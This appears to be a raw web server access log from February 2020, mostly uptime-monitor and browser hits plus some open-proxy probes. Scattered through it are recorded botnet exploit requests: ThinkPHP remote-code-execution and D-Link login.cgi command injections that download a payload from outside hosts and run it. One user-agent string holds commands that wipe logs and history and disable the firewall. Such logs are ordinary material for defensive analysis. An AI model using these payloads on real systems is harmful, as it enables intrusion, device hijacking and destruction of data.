212.91.246.72 - - [22/Feb/2020:10:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.249.102.175 - - [22/Feb/2020:10:25:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:10:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.179.73.122 - - [22/Feb/2020:10:28:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
45.152.6.58 - - [22/Feb/2020:10:28:47 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [22/Feb/2020:10:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
70.102.219.76 - - [22/Feb/2020:10:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:10:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.95.78.253 - - [22/Feb/2020:10:30:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:10:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.224.249.15 - - [22/Feb/2020:10:31:55 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
106.45.0.199 - - [22/Feb/2020:10:31:55 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
112.230.46.43 - - [22/Feb/2020:10:31:55 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
124.235.138.149 - - [22/Feb/2020:10:31:57 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.163.114.64 - - [22/Feb/2020:10:32:00 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
116.252.0.192 - - [22/Feb/2020:10:32:00 +0100] "GET http://www.wujieliulan.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
119.39.47.74 - - [22/Feb/2020:10:32:01 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
110.177.87.29 - - [22/Feb/2020:10:32:01 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.165 - - [22/Feb/2020:10:32:01 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
182.138.158.115 - - [22/Feb/2020:10:32:10 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [22/Feb/2020:10:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.199.50.127 - - [22/Feb/2020:10:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [22/Feb/2020:10:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [22/Feb/2020:10:38:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:10:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:10:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.221.46.73 - - [22/Feb/2020:10:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
223.17.141.230 - - [22/Feb/2020:10:59:56 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:11:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
149.12.219.22 - - [22/Feb/2020:11:02:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://157.245.138.189/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:11:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.173.111.195 - - [22/Feb/2020:11:05:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:11:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.209.248.201 - - [22/Feb/2020:11:07:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:11:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.50.215.71 - - [22/Feb/2020:11:19:00 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://142.93.194.103/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
196.221.167.30 - - [22/Feb/2020:11:19:29 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:11:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.69.204.37 - - [22/Feb/2020:11:20:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:11:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.209.248.201 - - [22/Feb/2020:11:21:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:11:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
60.205.228.0 - - [22/Feb/2020:11:29:30 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [22/Feb/2020:11:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.102.77.58 - - [22/Feb/2020:11:29:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:11:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.47.8.10 - - [22/Feb/2020:11:31:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:11:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.72.221.78 - - [22/Feb/2020:11:34:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:11:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.166.156.26 - - [22/Feb/2020:11:35:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
122.166.156.26 - - [22/Feb/2020:11:35:55 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:11:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [22/Feb/2020:11:38:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [22/Feb/2020:11:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.19.184.152 - - [22/Feb/2020:11:39:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.209.242.44 - - [22/Feb/2020:11:40:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [22/Feb/2020:11:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.100.12.210 - - [22/Feb/2020:11:42:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [22/Feb/2020:11:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.49.220.226 - - [22/Feb/2020:11:43:25 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [22/Feb/2020:11:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.70.233.145 - - [22/Feb/2020:11:44:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:11:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.5.158.19 - - [22/Feb/2020:11:46:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [22/Feb/2020:11:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.220.147.119 - - [22/Feb/2020:11:49:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:11:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.242.35.62 - - [22/Feb/2020:11:52:54 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:11:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
144.76.60.98 - - [22/Feb/2020:11:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MegaIndex.ru/2.0; +http://megaindex.com/crawler)"
181.121.0.160 - - [22/Feb/2020:11:54:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
181.121.0.160 - - [22/Feb/2020:11:54:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [22/Feb/2020:11:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [22/Feb/2020:11:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
